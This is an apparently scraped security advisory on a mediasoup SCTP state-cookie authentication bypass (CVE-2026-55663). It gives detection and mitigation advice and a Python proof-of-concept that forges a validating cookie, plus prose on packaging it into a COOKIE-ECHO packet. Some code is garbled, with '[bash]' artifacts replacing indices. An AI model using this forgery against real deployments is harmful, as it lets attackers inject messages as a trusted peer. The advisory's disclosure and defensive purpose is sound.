mediasoup, SCTP State Cookie Authentication Bypass, CVE-2026-55663 (Medium) -DC-Aug2026-1900

Listen to this Post

mediasoup’s built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total): Offset 0: Magic1 = “msworker” (hardcoded, 8 bytes); Offset 8: localVerificationTag (4 bytes, attacker-controlled); Offset 12: remoteVerificationTag (4 bytes, attacker-controlled); Offset 16-27: TSN and window fields (attacker-controlled); Offset 28: tieTag (8 bytes, attacker-controlled); Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded).
The validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks: bufferLength == 44; bytes[0:8] == “msworker” (Magic1, always the same); ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same). No HMAC, no per-session secret, no nonce. All “magic” values are published constants in the public header.
When a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is: if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag()). Because the attacker controls both the SCTP packet header’s verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.
Additionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted. This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.
An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

DailyCVE Form:

Platform: mediasoup npm/Rust
Version: 3.20.0-3.20.6 / 0.22.0-0.22.5
Vulnerability: SCTP cookie forgery
Severity: Medium (CVSS:5.6)
Date: 2026-08-25

Prediction: Patch already released (3.20.6/0.22.5)

What Undercode Say:

Analytics & Detection

To determine if your mediasoup instance is vulnerable, check the version:

Check npm package version
npm list mediasoup
Check Rust crate version
cargo tree | grep mediasoup

Network-level detection – Monitor for SCTP COOKIE-ECHO chunks (chunk type 0x0A) arriving on PlainTransport ports without a prior INIT/INIT-ACK handshake. The absence of the standard 4-way SCTP handshake preceding an association is a strong indicator of exploitation.
Log analysis – Look for unexpected SCTP association establishments in mediasoup logs where no corresponding INIT exchange was observed from the legitimate peer.

Exploit: (Educational Purposes!)

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)
"""
import struct
Attacker-chosen values -- all arbitrary
LOCAL_VT = 0xDEADBEEF Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0
Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)
Offset 0: Magic1 = "msworker"
cookie[0:8] = b'msworker'
Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)
Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)
Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)
Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)
Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)
Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)
Offset 36: NegotiatedCapabilitiesField
cookie[bash] = 0 reserved
cookie[bash] = 0 bits
struct.pack_into('>H', cookie, 38, 0xAD81) Magic2
struct.pack_into('>H', cookie, 40, 1024) maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024) maxInboundStreams
Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
if len(buf) != 44:
return False
if buf[0:8] != b'msworker':
return False
magic2 = struct.unpack('>H', buf[38:40])[bash]
if magic2 != 0xAD81:
return False
return True
assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"
Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
packet_vt = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[bash]
auth_passes = (packet_vt == cookie_local_vt)
print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:010x}")
print(f"SCTP packet verificationTag: {packet_vt:010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header’s Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value – the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Protection

Immediate mitigation: Upgrade to mediasoup npm version 3.20.6 or Rust crate version 0.22.5, which contain the fix.

If upgrade is not immediately possible:

  • Disable SCTP on PlainTransport unless absolutely required
  • Enable SRTP/DTLS protection on PlainTransport (set srtpCryptoSuite)
  • Set `comedia: false` to restrict packets to the configured peer address only
  • Use WebRtcTransport instead of PlainTransport for SCTP communication
  • Implement network-layer filtering to only accept SCTP packets from trusted source IPs

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport’s configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer’s association.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top